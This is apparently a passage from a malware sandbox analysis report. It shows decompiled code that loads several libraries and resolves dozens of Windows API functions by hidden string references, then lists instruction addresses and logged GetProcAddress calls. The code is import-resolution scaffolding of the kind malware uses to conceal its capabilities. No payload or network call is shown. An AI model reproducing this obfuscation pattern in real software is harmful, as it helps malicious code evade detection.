					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x4874c8
					_t135 =  *0x41aa64; // 0x75130000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x487570
					_t365 =  *0x41aa64; // 0x75130000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x487420
					_t277 =  *0x41aa64; // 0x75130000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x4873d8
					_t140 =  *0x41aa64; // 0x75130000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x487588
					_t367 =  *0x41aa64; // 0x75130000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x487648
					_t279 =  *0x41aa64; // 0x75130000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x4875b8
					_t145 =  *0x41aa64; // 0x75130000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x487660
					_t369 =  *0x41aa64; // 0x75130000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x487678
					_t281 =  *0x41aa64; // 0x75130000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x484d18
					_t150 =  *0x41aa64; // 0x75130000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x4873f0
					_t371 =  *0x41aa64; // 0x75130000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x4849d8
					_t283 =  *0x41aa64; // 0x75130000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x486700
					_t155 =  *0x41aa64; // 0x75130000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x4876c0
					_t373 =  *0x41aa64; // 0x75130000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x4849f8
					_t285 =  *0x41aa64; // 0x75130000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x487708
					_t160 =  *0x41aa64; // 0x75130000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x484a18
					_t375 =  *0x41aa64; // 0x75130000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x487738
					_t287 =  *0x41aa64; // 0x75130000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x487750
					_t165 =  *0x41aa64; // 0x75130000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x487768
					_t377 =  *0x41aa64; // 0x75130000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x4876d8
					_t289 =  *0x41aa64; // 0x75130000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x484a38
					_t170 =  *0x41aa64; // 0x75130000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x4876a8
					_t379 =  *0x41aa64; // 0x75130000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x4876f0
					_t291 =  *0x41aa64; // 0x75130000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x487720
					_t175 =  *0x41aa64; // 0x75130000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x484a58
					_t381 =  *0x41aa64; // 0x75130000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x487990
					_t293 =  *0x41aa64; // 0x75130000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x487a68
					_t180 =  *0x41aa64; // 0x75130000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x4877f8
					_t383 =  *0x41aa64; // 0x75130000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x487810
					_t295 =  *0x41aa64; // 0x75130000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x4879c0
					_t185 =  *0x41aa64; // 0x75130000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x484fd8
					_t385 =  *0x41aa64; // 0x75130000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x485098
					_t297 =  *0x41aa64; // 0x75130000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x487a50
					_t190 =  *0x41aa64; // 0x75130000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x4879d8
					_t387 =  *0x41aa64; // 0x75130000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x484ef8
					_t299 =  *0x41aa64; // 0x75130000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x486818
					_t195 =  *0x41aa64; // 0x75130000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x487888
					_t389 =  *0x41aa64; // 0x75130000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x487828
					_t301 =  *0x41aa64; // 0x75130000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x484ff8
					_t200 =  *0x41aa64; // 0x75130000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x484dd8
					_t391 =  *0x41aa64; // 0x75130000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x485058
					_t303 =  *0x41aa64; // 0x75130000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x4879f0
					_t205 =  *0x41aa64; // 0x75130000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x485158
					_t393 =  *0x41aa64; // 0x75130000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x487900
					_t305 =  *0x41aa64; // 0x75130000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x485118
					_t210 =  *0x41aa64; // 0x75130000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x484df8
					_t395 =  *0x41aa64; // 0x75130000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x75130000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x75130000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x75130000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x75130000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x75130000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x4875a0
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x487450
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x4875e8
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x487408
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x4873a8
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x4875d0
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x4873c0
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x487600
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x487618
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x487690
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x487480
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x487468
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x487540
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x487288
					_t272 =  *0x41a964; // 0x779c0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x779c0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x779c0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x4878a0
					_t355 =  *0x41a8d8; // 0x70020000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x4850b8
					_t266 =  *0x41a8d8; // 0x70020000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x485078
					_t112 =  *0x41a8d8; // 0x70020000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x484f18
					_t357 =  *0x41a8d8; // 0x70020000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x487930
					_t268 =  *0x41a8d8; // 0x70020000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x484f38
					_t117 =  *0x41a8d8; // 0x70020000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x484ed8
					_t359 =  *0x41a8d8; // 0x70020000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x484e78
					_t270 =  *0x41a8d8; // 0x70020000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x4850d8
					_t122 =  *0x41a8d8; // 0x70020000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x70020000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x4878b8
					_t92 =  *0x41aaa8; // 0x74ea0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x487a08
					_t348 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x485018
					_t259 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x484eb8
					_t97 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x487840
					_t350 =  *0x41aaa8; // 0x74ea0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x487198
					_t261 =  *0x41aaa8; // 0x74ea0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x484e58
					_t102 =  *0x41aaa8; // 0x74ea0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x4850f8
					_t352 =  *0x41aaa8; // 0x74ea0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x487a80
					_t263 =  *0x41aaa8; // 0x74ea0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x487a98
					_t107 =  *0x41aaa8; // 0x74ea0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x487a20
					_t354 =  *0x41aaa8; // 0x74ea0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x4878d0
					_t254 =  *0x41a854; // 0x75530000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x484e98
					_t85 =  *0x41a854; // 0x75530000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x4878e8
					_t345 =  *0x41a854; // 0x75530000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x485038
					_t256 =  *0x41a854; // 0x75530000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x487a38
					_t90 =  *0x41a854; // 0x75530000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x75530000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x4877b0
					_t61 =  *0x41a988; // 0x77620000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x4877c8
					_t335 =  *0x41a988; // 0x77620000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x485138
					_t246 =  *0x41a988; // 0x77620000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x484f58
					_t66 =  *0x41a988; // 0x77620000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x4877e0
					_t337 =  *0x41a988; // 0x77620000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x487258
					_t248 =  *0x41a988; // 0x77620000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x487858
					_t71 =  *0x41a988; // 0x77620000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x487870
					_t339 =  *0x41a988; // 0x77620000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x487918
					_t250 =  *0x41a988; // 0x77620000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x487948
					_t76 =  *0x41a988; // 0x77620000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x4871d8
					_t341 =  *0x41a988; // 0x77620000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x484db8
					_t252 =  *0x41a988; // 0x77620000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x487960
					_t81 =  *0x41a988; // 0x77620000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x487978
					_t343 =  *0x41a988; // 0x77620000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x486198
					_t244 =  *0x41aa40; // 0x6db00000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x484f78
					_t59 =  *0x41a94c; // 0x774c0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x484e18
					_t332 =  *0x41a934; // 0x77730000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x486958
					_t239 =  *0x41aa34; // 0x74180000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x484e38
					_t52 =  *0x41aa34; // 0x74180000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x4867c8
					_t329 =  *0x41aa34; // 0x74180000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x484f98
					_t241 =  *0x41aa34; // 0x74180000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x4866d8
					_t57 =  *0x41aa34; // 0x74180000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x4879a8
					_t331 =  *0x41aa34; // 0x74180000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x487af8
					_t235 =  *0x41aa80; // 0x6f070000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x487be8
					_t43 =  *0x41aa80; // 0x6f070000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x484fb8
					_t325 =  *0x41aa80; // 0x6f070000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x46a888
					_t237 =  *0x41aa80; // 0x6f070000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x4884f8
					_t48 =  *0x41aa80; // 0x6f070000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x487ab0
					_t327 =  *0x41aa80; // 0x6f070000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x487c00
					_t233 =  *0x41a968; // 0x77470000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x487228
					_t39 =  *0x41a968; // 0x77470000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x487cf0
					_t323 =  *0x41a968; // 0x77470000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x4885f8
					_t232 =  *0x41aa98; // 0x75ed0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x487ac8
					_t36 =  *0x41aa98; // 0x75ed0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x486480
					_t316 =  *0x41a938; // 0x739e0000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x488658
					_t227 =  *0x41a938; // 0x739e0000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x486908
					_t25 =  *0x41a938; // 0x739e0000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x487cc0
					_t318 =  *0x41a938; // 0x739e0000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x487b10
					_t229 =  *0x41a938; // 0x739e0000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x488518
					_t30 =  *0x41a938; // 0x739e0000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x4884d8
					_t320 =  *0x41a938; // 0x739e0000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x487b88
					_t231 =  *0x41a938; // 0x739e0000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x488578
					_t20 =  *0x41a97c; // 0x74510000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x4885d8
					_t315 =  *0x41a97c; // 0x74510000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x487d20
					_t224 =  *0x41aa88; // 0x6f0b0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(75130000,004874F8), ref: 0040C4BD
GetProcAddress.KERNEL32(75130000,00487528), ref: 0040C4D5
GetProcAddress.KERNEL32(75130000,00484BB8), ref: 0040C4EE
GetProcAddress.KERNEL32(75130000,00487630), ref: 0040C506
GetProcAddress.KERNEL32(75130000,004874C8), ref: 0040C51E
GetProcAddress.KERNEL32(75130000,00487570), ref: 0040C537
GetProcAddress.KERNEL32(75130000,00487420), ref: 0040C54F
GetProcAddress.KERNEL32(75130000,004873D8), ref: 0040C567
GetProcAddress.KERNEL32(75130000,00487588), ref: 0040C580
GetProcAddress.KERNEL32(75130000,00487648), ref: 0040C598
GetProcAddress.KERNEL32(75130000,004875B8), ref: 0040C5B0
GetProcAddress.KERNEL32(75130000,00487660), ref: 0040C5C9
GetProcAddress.KERNEL32(75130000,00487678), ref: 0040C5E1
GetProcAddress.KERNEL32(75130000,00484D18), ref: 0040C5F9
GetProcAddress.KERNEL32(75130000,004873F0), ref: 0040C612
GetProcAddress.KERNEL32(75130000,004849D8), ref: 0040C62A
GetProcAddress.KERNEL32(75130000,00486700), ref: 0040C642
GetProcAddress.KERNEL32(75130000,004876C0), ref: 0040C65B
GetProcAddress.KERNEL32(75130000,004849F8), ref: 0040C673
